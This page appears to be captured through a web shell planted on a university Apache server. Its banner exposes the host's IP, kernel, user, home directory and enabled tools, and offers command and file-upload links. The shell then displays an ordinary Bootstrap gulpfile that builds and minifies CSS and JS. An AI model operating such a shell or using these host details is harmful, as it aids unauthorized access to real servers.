Server IP : 172.16.15.8 / Your IP : 18.117.75.53 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/vnlaughlin/public_html/design/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
var gulp = require('gulp'); var less = require('gulp-less'); var sass = require('gulp-sass'); var browserSync = require('browser-sync').create(); var header = require('gulp-header'); var cleanCSS = require('gulp-clean-css'); var rename = require("gulp-rename"); var uglify = require('gulp-uglify'); var pkg = require('./package.json'); // Set the banner content var banner = ['/*!\n', ' * Start Bootstrap - <%= pkg.title %> v<%= pkg.version %> (<%= pkg.homepage %>)\n', ' * Copyright 2013-' + (new Date()).getFullYear(), ' <%= pkg.author %>\n', ' * Licensed under <%= pkg.license.type %> (<%= pkg.license.url %>)\n', ' */\n', '' ].join(''); // Compiles SCSS files from /scss into /css gulp.task('sass', function() { return gulp.src('sass/grayscale.scss') .pipe(sass()) .pipe(header(banner, { pkg: pkg })) .pipe(gulp.dest('css')) .pipe(browserSync.reload({ stream: true })) }); // Minify compiled CSS gulp.task('minify-css', ['sass'], function() { return gulp.src('css/grayscale.css') .pipe(cleanCSS({ compatibility: 'ie8' })) .pipe(rename({ suffix: '.min' })) .pipe(gulp.dest('css')) .pipe(browserSync.reload({ stream: true })) }); // Minify JS gulp.task('minify-js', function() { return gulp.src('js/grayscale.js') .pipe(uglify()) .pipe(header(banner, { pkg: pkg })) .pipe(rename({ suffix: '.min' })) .pipe(gulp.dest('js')) .pipe(browserSync.reload({ stream: true })) }); // Copy lib libraries from /node_modules into /lib gulp.task('copy', function() { gulp.src(['node_modules/bootstrap/dist/**/*', '!**/npm.js', '!**/bootstrap-theme.*', '!**/*.map']) .pipe(gulp.dest('lib/bootstrap')) gulp.src(['node_modules/jquery/dist/jquery.js', 'node_modules/jquery/dist/jquery.min.js']) .pipe(gulp.dest('lib/jquery')) gulp.src(['node_modules/tether/dist/js/*.js']) .pipe(gulp.dest('lib/tether')) gulp.src([ 'node_modules/font-awesome/**', '!node_modules/font-awesome/**/*.map', '!node_modules/font-awesome/.npmignore', '!node_modules/font-awesome/*.txt', '!node_modules/font-awesome/*.md', '!node_modules/font-awesome/*.json' ]) .pipe(gulp.dest('lib/font-awesome')) }) // Run everything gulp.task('default', ['sass', 'minify-css', 'minify-js', 'copy']); // Configure the browserSync task gulp.task('browserSync', function() { browserSync.init({ server: { baseDir: '' }, }) }) // Dev task with browserSync gulp.task('dev', ['browserSync', 'sass', 'minify-css', 'minify-js'], function() { gulp.watch('sass/*.scss', ['sass']); gulp.watch('css/*.css', ['minify-css']); gulp.watch('js/*.js', ['minify-js']); // Reloads the browser whenever HTML or JS files change gulp.watch('*.html', browserSync.reload); gulp.watch('js/**/*.js', browserSync.reload); }); // Compile LESS files from /less into /css gulp.task('less', function() { return gulp.src('less/grayscale.less') .pipe(less()) .pipe(header(banner, { pkg: pkg })) .pipe(gulp.dest('css')) .pipe(browserSync.reload({ stream: true })) });